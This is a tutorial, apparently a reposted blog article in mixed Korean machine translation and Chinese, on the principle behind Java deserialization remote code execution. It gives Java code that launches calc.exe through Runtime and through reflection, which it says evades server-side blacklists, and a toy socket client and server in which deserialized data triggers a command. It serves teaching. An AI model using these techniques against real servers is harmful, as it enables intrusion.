>운영 및 유지보수 >안전 >자바 역직렬화로 인한 원격코드 실행 취약점 원리 분석

자바 역직렬화로 인한 원격코드 실행 취약점 원리 분석

王林
王林앞으로
2019-11-30 17:50:382811검색

자바 역직렬화로 인한 원격코드 실행 취약점 원리 분석

주로 세 부분으로 구성됩니다:

1. Java의 반사 메커니즘

# 🎜🎜 #2.Java 직렬화 처리

3.Java 원격 코드 실행

Java 반영 및 코드 실행#🎜🎜 # 먼저 간단한 예를 살펴보겠습니다. Java를 사용하여 계산기 프로그램을 호출합니다.

import java.io.IOException;
import java.lang.Runtime;
public class Test {
    public static void main(String[] args) {
        Runtime env = Runtime.getRuntime();
        String cmd = "calc.exe";        
    try {
            env.exec(cmd);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

We는 java.lang 패키지에서 Runtime 클래스를 가져온 다음 getRuntime 메서드를 호출하여 Runtime 객체를 가져옵니다. JVM 가상 머신의 실행 상태를 처리하는 데 사용할 수 있습니다. 그런 다음 exec 메소드를 호출하고 문자열을 매개변수로 전달합니다.

이 시점에서 로컬 컴퓨터의 계산기 프로그램이 시작됩니다.

위의 코드를 Java의 리플렉션 메커니즘을 통해 다시 작성해 보겠습니다. Java의 자체 검사 메커니즘을 통해 코드를 동적으로 호출하고 일부 서버측 블랙리스트 처리를 피할 수 있습니다.

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class Test {

    public static void main(String[] args) {
        try {
            Class<?> cls = Class.forName("java.lang.Runtime");            
            String cmd = "calc.exe";
            try {
                Method getRuntime = cls.getMethod("getRuntime", new Class[] {});                
                Object runtime = getRuntime.invoke(null);
                Method exec = cls.getMethod("exec", String.class);
                exec.invoke(runtime, cmd);
            } catch (NoSuchMethodException e) {
                e.printStackTrace();
            } catch (SecurityException e) {
                e.printStackTrace();
            } catch (IllegalAccessException e) {
                e.printStackTrace();
            } catch (IllegalArgumentException e) {
                e.printStackTrace();
            } catch (InvocationTargetException e) {
                e.printStackTrace();
            }
        } catch (ClassNotFoundException e1) {
            e1.printStackTrace();
        }
    }
}

위 코드는 번거로워 보일 수 있지만 실제로는 어렵지 않습니다. 먼저 Class의 인스턴스를 반환하는 Class.forName을 통해 문자열을 매개변수로 전달합니다. 그 기능은 해당 이름을 기반으로 해당 클래스를 찾는 것입니다.

그런 다음 Class 인스턴스의 getMethod 메소드를 사용하여 해당 클래스의 getRuntime 메소드를 가져옵니다. 클래스에는 매개변수가 없으므로 null로 설정하거나 익명 클래스를 사용하여 처리할 수 있습니다.

Method getRuntime = cls.getMethod("getRuntime", new Class[] {});

그 다음 획득한 메소드 인스턴스의 호출 메소드를 통해 해당 클래스 메소드를 호출합니다. 매개변수가 없으므로 null만 전달하면 됩니다. 같은 방식으로 exec 메소드를 얻습니다.

Java 직렬화 처리Java에서 직렬화 처리를 위해서는 해당 클래스에 직렬화 가능 인터페이스를 구현해야 하며, 예:

import java.io.Serializable;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
public class Reader implements Serializable {
    private static final long serialVersionUID = 10L;    
    private void readObject(ObjectInputStream stream) {
        System.out.println("foo...bar...");
    }    public static byte[] serialize(Object obj) {        //序列化对象
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        ObjectOutputStream output = null;        
    try {
            output = new ObjectOutputStream(out);
            output.writeObject(obj);
            output.flush();
            output.close();

        } catch (IOException e) {
            e.printStackTrace();
        }        return out.toByteArray();

    }    public static Object deserialize(byte[] bytes) {        //反序列化处理
        ByteArrayInputStream in = new ByteArrayInputStream(bytes);
        ObjectInputStream input;
        Object obj = null;        
    try {
            input = new ObjectInputStream(in);
            obj = input.readObject();
        } catch (IOException e) {
            e.printStackTrace();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        }        return obj;

    }    
    public static void main(String[] args) {        
    byte[] data = serialize(new Reader()); //对类自身进行序列化
        Object response = deserialize(data);
        System.out.println(response);
    }
}

여기서 테스트용 개체를 읽기 위해 이 클래스의 readObject 메서드를 재정의합니다. 가장 중요한 두 가지 기능은 직렬화 및 역직렬화이며 각각 직렬화 및 역직렬화에 사용됩니다.

그 중 serialize 메소드는 객체를 매개변수로 전달해야 하며, 출력 결과는 바이트 배열입니다. 이 클래스에서 객체 출력 스트림 ObjectOutputStream은 주로 ByteArrayOutputStream을 패키징하는 데 사용되며 writeObject 메서드를 사용하여 여기에 객체를 씁니다. 마지막으로 ByteArrayOutputStream 인스턴스의 toByteArray 메서드를 통해 바이트 배열을 가져옵니다.

deserialize 메서드에서는 바이트 배열을 전달해야 하며 반환 값은 Object 객체입니다. 이전 직렬화 함수와 유사하게 이번에는 ByteArrayInputStream을 사용하여 바이트 배열을 받은 다음 ObjectInputStream을 사용하여 ByteArrayInputStream을 래핑한 다음 readObject 메서드를 호출하여 Object 개체를 가져와 반환합니다.

이 클래스를 실행하면 다음과 같은 결과를 얻게 됩니다.

자바 역직렬화로 인한 원격코드 실행 취약점 원리 분석

Java 원격 통신 및 전송Java 코드의 원격 전송 및 원격 코드 실행을 달성하기 위해 RMI, RPC 및 기타 방법을 사용할 수 있습니다. 여기서는 서버 측 및 클라이언트 측 처리에 Socket을 사용합니다.

첫 번째는 로컬 포트 ​​8888을 수신하는 서버 측입니다. 해당 코드는 다음과 같습니다.

import java.net.Socket;
import java.io.IOException;
import java.io.InputStream;
import java.net.ServerSocket;
public class Server {
    public static void main(String[] args) throws ClassNotFoundException {        
    int port = 8888;        
    try {
            ServerSocket server = new ServerSocket(port);
            System.out.println("Server is waiting for connect");
            Socket socket = server.accept();
            InputStream input = socket.getInputStream();            
            byte[] bytes = new byte[1024];
            int length = 0;            
            while((length=input.read(bytes))!=-1) {
                String out = new String(bytes, 0, length, "UTF-8");
                System.out.println(out);
            }
            input.close();
            socket.close();
            server.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

1개의 포트를 전달하여 ServerSocket 클래스를 인스턴스화하면 다음과 같은 결과를 얻습니다. 1 서버의 소켓을 호출한 다음 클라이언트의 요청을 수신하기 위해 accept 메서드를 호출합니다. 이때, 소켓 객체를 획득하고, 소켓 객체의 getInputStream 메소드를 통해 입력 스트림을 획득하며, 길이가 1024인 바이트 배열을 지정한다.

그런 다음 소켓의 read 메소드를 호출하여 지정된 길이의 바이트 시퀀스를 읽은 다음 String 생성자를 통해 바이트 배열을 문자열로 변환하여 출력합니다. 이런 방식으로 우리는 클라이언트가 전송한 콘텐츠를 얻습니다.

클라이언트의 경우 코드는 다음과 유사합니다.

import java.io.IOException;
import java.net.Socket;
import java.io.OutputStream;
public class Client {
    public static void main(String[] args) {
        String host = "192.168.1.108";        
        int port = 8888;
        try {
            Socket socket = new Socket(host, port);
            OutputStream output = socket.getOutputStream();
            String message = "Hello,Java Socket Server";
            output.write(message.getBytes("UTF-8"));
            output.close();
            socket.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

클라이언트에서는 Socket 개체를 통해 연결할 IP 주소와 포트를 전달한 다음 소켓 객체 전달 getOutputStream 메소드는 출력 스트림을 획득하고 출력을 서버로 보내는 데 사용됩니다. 이는 단지 데모이므로 로컬 호스트 IP가 사용됩니다. 실제 애플리케이션에서 특정 외부 네트워크 호스트의 IP와 열린 포트를 알고 있고 현재 호스트에 해당 취약점이 있는 경우 유사한 방법을 사용하여 이를 달성할 수도 있습니다.

여기서 출력 스트림의 쓰기 메소드에서 인코딩은 문자열의 getBytes를 통해 지정되어 해당 문자열로 변환됩니다. 문자 섹션 배열이 전송됩니다.

일반적인 상황에서는 서버를 실행한 다음 클라이언트를 실행합니다.

Server is waiting for connect
Hello,Java Socket Server

Java反序列化与远程代码执行

下面我们通过Java反序列化的问题来实现远程代码执行,为了实现远程代码执行,我们首先在Reader类中添加1个malicious方法,其代码为:

public Object malicious() throws IOException {
        Runtime.getRuntime().exec("calc.exe");
        System.out.println("Hacked the Server...");        
        return this;
    }

在该方法中我们使用之前的介绍调用宿主机器上的计算器程序,然后输出1个相关信息,最后返回当前类。

之后是对服务器端的代码进行如下的修改:

while((length=input.read(bytes))!=-1) {
    Reader obj = (Reader) Reader.deserialize(bytes);
    obj.malicious();
}

我们在接收到客户端对应的字符串后对其进行反序列处理,之后调用某个指定的函数,从而实现远程代码的执行。而在客户端,我们需要对其进行序列化处理:

Reader reader = new Reader();
byte[] bytes = Reader.serialize(reader);
String message = new String(bytes);
output.write(message.getBytes());

下面我们在宿主机器上运行服务器端程序,之后在本地机器上运行客户端程序,当客户端程序执行时,可以看到类似如下的结果:

자바 역직렬화로 인한 원격코드 실행 취약점 원리 분석

可以看到,我们成功的在宿主机器上执行了对应的命令执行。

总结

为了实现通过Java的反序列问题来实现远程代码执行的漏洞,我们需要编写1个有恶意代码注入的序列化类。之后在客户端将恶意代码序列化后发送给服务器端,而服务器端需要调用我们期望的方法,从而触发远程代码执行。

为了避免服务器端进行一些安全处理,我们可以采用反射的方式来逃逸其处理。

这里只是1个简化的过程,更加实用的过程可以参考Apache Common Collections的问题导致的Weblogic漏洞CVE-2015-4852及Jboss的漏洞CVE-2015-7501

推荐相关文章教程:web安全教程

위 내용은 자바 역직렬화로 인한 원격코드 실행 취약점 원리 분석의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명:
이 기사는 freebuf.com에서 복제됩니다. 침해가 있는 경우 admin@php.cn으로 문의하시기 바랍니다. 삭제